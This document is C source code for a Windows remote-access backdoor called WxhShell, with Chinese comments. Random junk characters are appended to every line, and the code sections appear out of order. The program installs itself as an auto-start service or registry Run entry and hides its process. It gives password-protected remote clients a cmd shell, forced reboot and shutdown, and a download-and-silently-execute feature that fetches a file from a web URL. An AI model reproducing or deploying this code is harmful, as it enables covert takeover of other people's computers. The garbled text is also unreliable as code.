    if(Boot(SHUTDOWN)) r`<e vwIe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lq.0?(  
    else { pQVi&(M  
    closesocket(wsh); WM@uxe,  
    ExitThread(0); <wE2ly&x  
    } Jr''S}@|x  
    break; ]|[xY8 5}  
    } , R^Pk6m>  
  // 获取shell saRB~[6I  
  case 's': { H?'VQ=j  
    CmdShell(wsh); Ab_aB+g ]  
    closesocket(wsh); xVl90ak  
    ExitThread(0); -\NB*|9m|  
    break; 'Y vW|Iq  
  } 3\(s=- vh  
  // 退出 /itO xrA  
  case 'x': { (4g; -*N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `Z@wWs  
    CloseIt(wsh); 'rR\H2b   
    break; ;m`I}h<  
    } }kOhwT8sI  
  // 离开 klch!m=d  
  case 'q': { J2 5>t^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (nE$};c<b2  
    closesocket(wsh); wfZ 'T#1  
    WSACleanup(); fA 3  
    exit(1); yS3x))  
    break; o9~qJnB/O  
        } h M8G"b  
  } qQ1m5_OD`z  
  } uq 6T|Zm  
T.1z<l""  
  // 提示信息 6=')*_~/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lA]u8+gXd  
} d!gm4hQhl  
  } Q|v=WC6  
V_ ]4UE  
  return; 2j"%}&  
} r{<u\>6X>P  
#%{\59/w  
// shell模块句柄 3Q;^X(Ml*  
int CmdShell(SOCKET sock) G2jEwi  
{ 7 1)#'ey  
STARTUPINFO si; t]@ Zd*  
ZeroMemory(&si,sizeof(si)); P' J_:\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @+{S-iD"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uY;/3 ?k&  
PROCESS_INFORMATION ProcessInfo; /kJ*WA?J  
char cmdline[]="cmd"; a)TNVm^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \JyWKET::_  
  return 0; gai?LXM l}  
} #Se  
/=3g-$o{`  
// 自身启动模式 Ha/\&Z(  
int StartFromService(void) 3>jz3>v@  
{ _ssHRbE  
typedef struct NeK:[Q@je  
{ i#-Jl7V[a  
  DWORD ExitStatus; #dl8+  
  DWORD PebBaseAddress; ow$#kQ&R O  
  DWORD AffinityMask; Tbwq_3f K  
  DWORD BasePriority; n >eIQaV  
  ULONG UniqueProcessId; +}Q4 g]M8  
  ULONG InheritedFromUniqueProcessId; c:$:j,i}  
}   PROCESS_BASIC_INFORMATION; .xk<7^ZD  
oVhw2pKpM  
PROCNTQSIP NtQueryInformationProcess; 4sJx_Qi  
Y^!40XjrD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9iOlR=-*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \u/5&[;  
5Px.G*  
  HANDLE             hProcess; IB?A]oN1{  
  PROCESS_BASIC_INFORMATION pbi; B!N807  
CTI(Kh+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nAX |=qp#  
  if(NULL == hInst ) return 0; M"FAUqz`  
hZ#tB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,U tw!]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CX:^]wY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FQ87[| S  
JZtFt=>q  
  if (!NtQueryInformationProcess) return 0; HaC3y[LJ0  
B`WfJ2*2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q#778  
  if(!hProcess) return 0; pvM8PlYo]`  
000 $ZsW?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~d%Q1F*,=  
m3XH3FgKz  
  CloseHandle(hProcess); (Q4_3<G+  
y-@!, @e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g764wl  
if(hProcess==NULL) return 0; HcVPJuD  
I{AU,  
HMODULE hMod; "TV.$s$.  
char procName[255]; C>u 3n^  
unsigned long cbNeeded; >4VU  
ljis3{kn""  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bOFLI#p&  
0 iE).Za0g  
  CloseHandle(hProcess); eHJ7L8#  
b{ozt\:M  
if(strstr(procName,"services")) return 1; // 以服务启动 ."^dJ |fN  
_Pz3QsV9  
  return 0; // 注册表启动 j(BS;J$i  
} O}`01A!u;  
:aqh8b v  
// 主模块 \|pAn  
int StartWxhshell(LPSTR lpCmdLine) T7T!v  
{ <F3sQAe  
  SOCKET wsl; 2at?9{b  
BOOL val=TRUE; /j)VES  
  int port=0; g@y" B6X  
  struct sockaddr_in door; B5cyX*!?  
I>3]4mI*a  
  if(wscfg.ws_autoins) Install(); 2%qn !+.  
PHK#b.B>a8  
port=atoi(lpCmdLine); i]-gO  
7gMtnwT  
if(port<=0) port=wscfg.ws_port; ~fF }  
h]MVFn{  
  WSADATA data; 1b7xw#gLx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D{4hNO  
5Hm!5:ZB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *D{/p/|[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3uw7 J5x  
  door.sin_family = AF_INET; eE{L>u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /kA19E4  
  door.sin_port = htons(port); <ut DZ#k  
D,n}Qf!GYk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U&n>fXTHn  
closesocket(wsl); zn ?;>Bl  
return 1; n2{{S(N  
} JZ% F  
6XAr8mw9  
  if(listen(wsl,2) == INVALID_SOCKET) { cXY'>N  
closesocket(wsl); y,&M\3A  
return 1; 0#[f2X62B  
} E)JyKm.  
  Wxhshell(wsl); kN j3!u$  
  WSACleanup(); V0Z7o\-J  
H 1D;:n  
return 0; ~{vdP=/WP  
+w.Kv ;  
} n]DNxC@b  
WQ}!]$<"y  
// 以NT服务方式启动 qysa!B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x"8ey|@&,  
{ zf,%BI[Hr  
DWORD   status = 0; &@HNz6KO  
  DWORD   specificError = 0xfffffff; E^ok`wfO  
"Wk{4gS7l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cN WcNMm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )6>|bmpU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0O#B'Uu  
  serviceStatus.dwWin32ExitCode     = 0; Nr24[e G>d  
  serviceStatus.dwServiceSpecificExitCode = 0; RF5q5<0  
  serviceStatus.dwCheckPoint       = 0; ~$4.Mf,u  
  serviceStatus.dwWaitHint       = 0; Ok>(>K<r  
%x6Ov\s2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -#wVtXaSc  
  if (hServiceStatusHandle==0) return; ?JgO-.  
lP*  
status = GetLastError(); \$'m ^tVU  
  if (status!=NO_ERROR) .ts0LDk0f  
{ &QTeGn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Wzqb>.   
    serviceStatus.dwCheckPoint       = 0; adI!W-/R:  
    serviceStatus.dwWaitHint       = 0; ~zxwg+:QO  
    serviceStatus.dwWin32ExitCode     = status; (]Ye[j^"7  
    serviceStatus.dwServiceSpecificExitCode = specificError; 30?LsYXL62  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eOehgU5x  
    return; 5e)6ua,  
  } sLG>>d3R1  
#P%1{l5m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WQ[}&kY~  
  serviceStatus.dwCheckPoint       = 0; 3qiJwo>  
  serviceStatus.dwWaitHint       = 0; c6,s+^^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G#e9$!  
} UZje>. ~?  
xHJ8?bD p  
// 处理NT服务事件,比如:启动、停止 x}?DkFuxb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2.LJp}>  
{ ;8*XOC;[  
switch(fdwControl) |rHG%VnBH  
{ ~h)@e\Kc  
case SERVICE_CONTROL_STOP: lt{lpH  
  serviceStatus.dwWin32ExitCode = 0; 5: daa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F qeV3 N  
  serviceStatus.dwCheckPoint   = 0; vi]r  
  serviceStatus.dwWaitHint     = 0; e1 x^PT  
  { ?a5h iN0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); erx 5j\  
  } jR{-  
  return; `$s)X$W?  
case SERVICE_CONTROL_PAUSE:  hv+|s(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 48 W.qzC  
  break; 8Y2xW`  
case SERVICE_CONTROL_CONTINUE: +|y*}bG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X'fuF2owd  
  break; EL^8zyg%%  
case SERVICE_CONTROL_INTERROGATE: }]AT _bh,  
  break; <9P4}`%)3  
}; o:2Q2+d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nX0HT )}  
} XJqTmj3   
%*wzO9w4  
// 标准应用程序主函数 *YWk1Cwjo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eR:b=%T8  
{ &&=[Ivv  
xfjd5J7'  
// 获取操作系统版本 sI_7U^"[  
OsIsNt=GetOsVer(); % Y~>Jl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *LANGQ"2(i  
HcRa`Sfc]/  
  // 从命令行安装 xc9YM0B&  
  if(strpbrk(lpCmdLine,"iI")) Install(); BZK2$0  
<5S@ORN  
  // 下载执行文件 uG!:Z6%p  
if(wscfg.ws_downexe) { /F.Wigv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,P{mk%=9  
  WinExec(wscfg.ws_filenam,SW_HIDE); xH-X|N  
} f-Jbs`(+  
)qL&%xz  
if(!OsIsNt) { A{# Nwd>  
// 如果时win9x,隐藏进程并且设置为注册表启动 "(v%1tGk  
HideProc(); iPq &Y*  
StartWxhshell(lpCmdLine); hoa7   
} H&#{l)  
else ^$v3eKA  
  if(StartFromService()) &(EHq  
  // 以服务方式启动 j[I`\"  
  StartServiceCtrlDispatcher(DispatchTable); b_TS<,  
else 98R KCc9h  
  // 普通方式启动 X'f.Q  
  StartWxhshell(lpCmdLine); Q8T`wd$D#  
-w1@!Sdd  
return 0; *O,H5lwU  
} {:Aw_z:'  
;}qhc l+  
&?0:v`4Y  
s,6`RI%  
=========================================== y}FZD?"  
)KE [!ofD  
|?d#eQ9a  
#sTEQjJ,J  
5 c5oSy+  
pd3,pQ  
" sV/l5]b]  
O:'?n8rWL  
#include <stdio.h> +vW)vS[  
#include <string.h> :w`3cw Q  
#include <windows.h> l.`u5D  
#include <winsock2.h> .~>?*}  
#include <winsvc.h> 7ER|'j  
#include <urlmon.h> G,f-.  
UH? p]4Nz  
#pragma comment (lib, "Ws2_32.lib") k1^\|   
#pragma comment (lib, "urlmon.lib") DZ$` 4;C[  
z0%\OhuCcf  
#define MAX_USER   100 // 最大客户端连接数 iYJZvN  
#define BUF_SOCK   200 // sock buffer F(5hmr  
#define KEY_BUFF   255 // 输入 buffer /P:.qtT(  
Bj Wr5SJ  
#define REBOOT     0   // 重启 b0v:12q  
#define SHUTDOWN   1   // 关机 ;{#^MD MB  
26I  
#define DEF_PORT   5000 // 监听端口  foRD{Hx  
Os&n  
#define REG_LEN     16   // 注册表键长度 Su8|R"qU  
#define SVC_LEN     80   // NT服务名长度 \25/$Ae}c  
yF13Of^l./  
// 从dll定义API :O-iykXyI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :kMHRm@{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uR;gVO+QC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eS+g|$cW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~g#r6pzN-  
59r_#(uo  
// wxhshell配置信息 K+Y^>N4m  
struct WSCFG { -d+aV1n  
  int ws_port;         // 监听端口 oVvc?P  
  char ws_passstr[REG_LEN]; // 口令 h.eM RdlO  
  int ws_autoins;       // 安装标记, 1=yes 0=no s 5WqR 8  
  char ws_regname[REG_LEN]; // 注册表键名 vI1i, x#i  
  char ws_svcname[REG_LEN]; // 服务名 ^EELaG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "9!d]2.-Vk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2I/xJ+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $e1=xSQp4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,Lpixnm]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =,y |00l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 80b;I|-T,  
\1"'E@+  
}; /E;y,o75  
d}'U?6 ob  
// default Wxhshell configuration 5xCT~y/a  
struct WSCFG wscfg={DEF_PORT, (*p , T  
    "xuhuanlingzhe", ]rehW}  
    1, E/M_lvQ  
    "Wxhshell", =Prb'8 W  
    "Wxhshell", : _e#  
            "WxhShell Service", Byl^?5  
    "Wrsky Windows CmdShell Service", _VE^/;$"l  
    "Please Input Your Password: ", bmgncwlz  
  1, U>Ld~cw  
  "http://www.wrsky.com/wxhshell.exe", E>b2+;Jv  
  "Wxhshell.exe" 9,uhf b^]  
    }; Vj<:GRNQ,d  
e^p +1-B  
// 消息定义模块 MP Z3D9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v ^[39*8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F{06 _T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {]_uMg#!  
char *msg_ws_ext="\n\rExit."; `Z: R Ce^  
char *msg_ws_end="\n\rQuit."; 3@+b }9s8  
char *msg_ws_boot="\n\rReboot..."; hu_ ^OlF  
char *msg_ws_poff="\n\rShutdown..."; }%b;vzkG5  
char *msg_ws_down="\n\rSave to "; 7SDFz}  
PyVC}dUAX  
char *msg_ws_err="\n\rErr!"; %^sTU4D5  
char *msg_ws_ok="\n\rOK!"; 1"Z@Q`}  
4iA Z+l5&  
char ExeFile[MAX_PATH]; 'c2W}$q  
int nUser = 0; XU!2YO)t;!  
HANDLE handles[MAX_USER]; =4V&*go*\  
int OsIsNt; *B`Zq)  
gE#>RM5D  
SERVICE_STATUS       serviceStatus; j',W 64  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; glDcUCF3  
v+p {|X-  
// 函数声明 0a8/B>  
int Install(void); {3;AwhN0H  
int Uninstall(void); ;g{qYj_  
int DownloadFile(char *sURL, SOCKET wsh); !!@A8~H  
int Boot(int flag); hfpJ+[  
void HideProc(void); XL#[ %X9  
int GetOsVer(void); {{V8;y  
int Wxhshell(SOCKET wsl); ! cKz7?w  
void TalkWithClient(void *cs); =q N2Xg/  
int CmdShell(SOCKET sock); SJD@&m%?[  
int StartFromService(void); 9T#;,{VQ  
int StartWxhshell(LPSTR lpCmdLine); X%yO5c\l2  
]7-&V-Ct*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F, U*yj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SGb;!T *  
=*p/F  
// 数据结构和表定义 *8~86u GU  
SERVICE_TABLE_ENTRY DispatchTable[] = g^*<f8 ~d  
{ ;^t{Il'j  
{wscfg.ws_svcname, NTServiceMain}, N0hE4t  
{NULL, NULL} dJ$"l|$$  
}; fXrXV~'8  
93t9^9  
// 自我安装 ^u 3V E  
int Install(void) f0Bto/,>~  
{ LU!dN"[k  
  char svExeFile[MAX_PATH]; h-iJlm  
  HKEY key; rG,5[/l  
  strcpy(svExeFile,ExeFile); 3u%{dGa  
z-M3  
// 如果是win9x系统,修改注册表设为自启动 9x,RvWTb  
if(!OsIsNt) { ]Q[p@gLd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jzU.Bu.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d,Y_GCZ7|W  
  RegCloseKey(key); Y*mbjyt[?X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ge]STSM0n7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h iNEJ_f  
  RegCloseKey(key); LC1 (Xb f  
  return 0; j*~T1i  
    } L^Jk=8  
  } =zwOq(Bh W  
} ~]ZpA-*@Ut  
else { N !TW!  
(O0Urm  
// 如果是NT以上系统,安装为系统服务 R|i/lEq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H'Yh2a`!o  
if (schSCManager!=0)  i2~  
{ V5}B:SUB  
  SC_HANDLE schService = CreateService s-dLZ.9F  
  ( B"%{i-v>**  
  schSCManager, @?h/B=5 6  
  wscfg.ws_svcname, 6uKTGc4  
  wscfg.ws_svcdisp, &89 oO@5  
  SERVICE_ALL_ACCESS, 0uBl>A7qhn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wEzKqD  
  SERVICE_AUTO_START, `xrmT t X  
  SERVICE_ERROR_NORMAL, 5dZ|!  
  svExeFile, 1sYEZO;  
  NULL, odIZo|dv  
  NULL, 42]pYm(jk3  
  NULL, ;WldHaZ9r  
  NULL, ^MBm==heL  
  NULL =4h+ M$2  
  );  ~c6}  
  if (schService!=0) fGmT_C0t  
  { SNY~9:;]f  
  CloseServiceHandle(schService); #s!'+|2n  
  CloseServiceHandle(schSCManager); TX#m&vh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z({hiVs  
  strcat(svExeFile,wscfg.ws_svcname); _{M\Bs2<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .^b;osAU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :O5og[;b  
  RegCloseKey(key); WJ*n29^N^h  
  return 0; 5xii(\lC  
    } np~~mdmRK  
  } MxBTX4ES  
  CloseServiceHandle(schSCManager); N/GQt\tV<  
} 41fJ%f` G  
} {[+2n]f_G  
Q X%&~  
return 1;  ,m,)I  
} q4V7  
F{ELSKcp.  
// 自我卸载 _'#x^D  
int Uninstall(void) D-,L&R!`  
{ fryJW=  
  HKEY key; n-DVT;y  
: }`-B0  
if(!OsIsNt) { -,["c9'3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Iy }:F8F>g  
  RegDeleteValue(key,wscfg.ws_regname); 2.d|G `  
  RegCloseKey(key); 7.j[a*^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .; &# )l  
  RegDeleteValue(key,wscfg.ws_regname); A'nq}t 3  
  RegCloseKey(key); Znetzm=0  
  return 0; cW+t#>' r  
  } ,K^4fL$C;3  
} Oh4AsOj@  
} `c'W-O/  
else { Yq/.-4 y  
g (#f:"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <7Ae-!>x  
if (schSCManager!=0) DS<  }@  
{ Ux+Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I2H6y"p N  
  if (schService!=0) BATG FS&  
  { E#s)52z=B  
  if(DeleteService(schService)!=0) { d:F @a  
  CloseServiceHandle(schService); hUm'8)OJ  
  CloseServiceHandle(schSCManager); d[;.r  
  return 0; _sbp6ZO_  
  } sdS^e`S  
  CloseServiceHandle(schService); 5/O'R9A4  
  } ++DG5`  
  CloseServiceHandle(schSCManager); h`3eu;5)  
} a<fUI%_  
} 8| $3OVS  
Ka,^OW}<%q  
return 1; B4]`-mahO  
} w;l<[q?_  
Q3"} Hl2  
// 从指定url下载文件 CA +uKM^"6  
int DownloadFile(char *sURL, SOCKET wsh) %8~3M75$  
{ ek N' k  
  HRESULT hr; |`jjHuQ;  
char seps[]= "/"; Zy09L}59P  
char *token; r/*=%~*  
char *file; oP4GEr  
char myURL[MAX_PATH]; xai4pF-?  
char myFILE[MAX_PATH]; 2W$cFC  
TXZv2P9  
strcpy(myURL,sURL); \Vl`YYjZ  
  token=strtok(myURL,seps); WAn'kA  
  while(token!=NULL) 9+keX{/c  
  { v 36%Pj`  
    file=token; |^9BA-nA  
  token=strtok(NULL,seps); yZ!T8"mz{  
  } TFuR@KaBR  
r0m*5rd1  
GetCurrentDirectory(MAX_PATH,myFILE); @}:uu$OH  
strcat(myFILE, "\\"); ]@Sj`J[fd  
strcat(myFILE, file); y7^{yS[,  
  send(wsh,myFILE,strlen(myFILE),0);  kQ   
send(wsh,"...",3,0); Ldn8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CXCpqcC  
  if(hr==S_OK) Dnc<sd;  
return 0; xGI, Lk+  
else ?@n/v F  
return 1; 6_4D9 W  
h`MF#617  
} _wdG|{px  
3su78et}  
// 系统电源模块 x1ztfJd  
int Boot(int flag) F!.E5<&7=  
{ wYlf^~#"  
  HANDLE hToken; 3T&6opaF  
  TOKEN_PRIVILEGES tkp; ?^j^K-rx  
$u/E\l  
  if(OsIsNt) { +NFzSal  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z ;u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %4W$Lq}  
    tkp.PrivilegeCount = 1; WlYs~(= 9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CwJDmz\tk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ks\ NE=;5  
if(flag==REBOOT) { d9n?v)<v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b<]n%Q'n  
  return 0; *~/OOH$"  
} 8KH\`5<  
else { b2@VxdFN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NuU9~gSQ  
  return 0; X(7qZ P~  
} (mlzg=szW  
  } )3h^Y=43  
  else { !s@Rok  
if(flag==REBOOT) { ^3hn0DVQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e]Zngt?b  
  return 0; al 20V  
} 07Ed fe  
else { 6K-5g/hL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BW,mwq  
  return 0; iS?42CV  
} x}twsc`  
} [V 8{b{  
Nl' )l"  
return 1; "}Me}S<  
} :eZh'-c?  
` }3qhar  
// win9x进程隐藏模块 b$eXFi/  
void HideProc(void) )Af~B'OUd  
{ s{w[b\rA  
!p1qJ [  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uw},`4`  
  if ( hKernel != NULL ) 3z ]+uv+2J  
  { R=T qj,6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iZZ (4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .I@CS>j  
    FreeLibrary(hKernel); H}LS??P  
  } \a+(=s(;  
CB&iI'  
return; DI;DECQl$  
} c"n ?'e  
fBQ?|~:n  
// 获取操作系统版本 7u[j/l,  
int GetOsVer(void) Gy[O)PEEh  
{ %0Y=WYUH>  
  OSVERSIONINFO winfo; KLX/O1B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'Z`$n8  
  GetVersionEx(&winfo); ~8m=1)A{(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jLJ1u/l>;  
  return 1; Jxqh )l  
  else ,E|m.  
  return 0; $3,ryXp7  
} d(:3   
H'qG/@u-l  
// 客户端句柄模块 =YG _z^'  
int Wxhshell(SOCKET wsl) ` gW<M  
{ mm5$> [%U  
  SOCKET wsh; Uje|`<X  
  struct sockaddr_in client; ,/O[=9l36R  
  DWORD myID; v2,%K`pAU  
QKE9R-K TE  
  while(nUser<MAX_USER) +-B^Z On  
{ 6:% L![FX  
  int nSize=sizeof(client); JH7Ad (:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ez{MU@Fk  
  if(wsh==INVALID_SOCKET) return 1; ql<rU@  
"KJ%|pg_C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?6!]Nl1gr  
if(handles[nUser]==0) dSCzx .c  
  closesocket(wsh); }oJAB1'k  
else VB<Jf'NU  
  nUser++; t!K*pM  
  }  9dzdrT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gDIBnH  
J1XL<7  
  return 0; Db"DG(  
} ;#MB7A  
al+ #y)+  
// 关闭 socket i!~'M;S  
void CloseIt(SOCKET wsh) ""svDfy$  
{ iE.-FZc  
closesocket(wsh); )wVIb)`R>Y  
nUser--; :SV>+EDY   
ExitThread(0); $W;b{H=F  
} b6E<r>q  
t\v+ogbk)  
// 客户端请求句柄 >5G>D~b  
void TalkWithClient(void *cs) C!C|\$)-  
{ ",>H(wJ8  
 Yav2q3  
  SOCKET wsh=(SOCKET)cs; dO7;}>F$n  
  char pwd[SVC_LEN]; xmGk*W)P  
  char cmd[KEY_BUFF]; KS*oxZ  
char chr[1]; ]4 (?BJ  
int i,j; [ $fJRR  
ZX~ _g@  
  while (nUser < MAX_USER) { ~L7:2weV[  
&:=$wc  
if(wscfg.ws_passstr) {  ,YhwpkL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,%YBG1E[y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F\ctuaLC  
  //ZeroMemory(pwd,KEY_BUFF); 8e0."o.6  
      i=0; s/Xb^XjS1  
  while(i<SVC_LEN) { [Vdz^_@Y  
k n8N,,+  
  // 设置超时 Lhh;2r/?78  
  fd_set FdRead; zhB">j8j  
  struct timeval TimeOut; (cv!Y=]  
  FD_ZERO(&FdRead); !G_jGc=v  
  FD_SET(wsh,&FdRead); [0[M'![8M  
  TimeOut.tv_sec=8; YDmWN#  
  TimeOut.tv_usec=0; E2B>b[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IF*&%pB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _y .]3JNm  
M2@^bB\J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~2 u\  
  pwd=chr[0]; `B8tmW#  
  if(chr[0]==0xd || chr[0]==0xa) { wcDjg&:=ml  
  pwd=0; 5jq=_mHt  
  break; V,%L ~dI  
  } SK$Vk[c]  
  i++; *R % wUi  
    } ngi<v6i  
T@^]i&  
  // 如果是非法用户,关闭 socket N]5m(@h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mCKk*5ws5"  
} H;WY!X$x  
;HOPABWz)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #ZiT-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dPjhq(8 zU  
<@bA?FY  
while(1) { Hoz56y  
2k#t .-  
  ZeroMemory(cmd,KEY_BUFF); [FQ\I-GNC  
!NKmx=I]  
      // 自动支持客户端 telnet标准   oN(-rWdhZ  
  j=0; 5, b]V)4  
  while(j<KEY_BUFF) { #G3N(wV3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wb"RB A9  
  cmd[j]=chr[0]; LZ*R[  
  if(chr[0]==0xa || chr[0]==0xd) { ZEbLL4n  
  cmd[j]=0; =FW5Tkw0  
  break; AW5iV3  
  } y,+[$u7h  
  j++; @LLTB(@wR  
    } \)m"3yY  
GIHpSy`z  
  // 下载文件 'PdmI<eXQ  
  if(strstr(cmd,"http://")) { '~-IV0v9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !D.0 (J  
  if(DownloadFile(cmd,wsh)) j nwQV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E@ h y7X  
  else l54|Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FquFRx  
  } g8pm2o@S  
  else { 2Eh@e([PMs  
SlT*C6f  
    switch(cmd[0]) { =;c_} VY  
  B!aK  
